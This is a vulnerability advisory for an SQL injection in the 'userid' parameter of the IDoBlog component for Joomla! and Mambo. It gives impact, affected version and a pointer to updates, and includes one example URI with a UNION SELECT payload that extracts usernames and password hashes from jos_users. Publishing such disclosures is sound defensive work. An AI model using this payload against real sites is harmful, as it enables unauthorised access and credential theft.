Joomla! and Mambo IDoBlog Component 'userid' Parameter SQL Injection Vulnerability

Bugtraq ID:	29505
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 03 2008 12:00AM
Updated:	Jun 03 2008 12:00AM
Credit:	His0k4
Vulnerable:	Sunshine studio IDoBlog build 24
Not Vulnerable:

Joomla! and Mambo IDoBlog Component 'userid' Parameter SQL Injection Vulnerability

The IDoBlog component for Joomla! and Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

IDoBlog build 24 is vulnerable; other versions may also be affected.

Joomla! and Mambo IDoBlog Component 'userid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?option=com_idoblog&task=userblog&userid=<valid_userid> and 1=1 UNION SELECT user(),user(),user(),user(),user(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user(),user(),user(),user(),user() FROM jos_users--

Joomla! and Mambo IDoBlog Component 'userid' Parameter SQL Injection Vulnerability

Solution:
Updates are available. Please see the references for more information.

Joomla! and Mambo IDoBlog Component 'userid' Parameter SQL Injection Vulnerability

References:

• IDoBlog Homepage (Sunshine studio)
  
• Joomla! Homepage (Joomla!)
  
• Mambo Homepage (Mambo)
  
• Vulnerable Extensions List (Joomla!)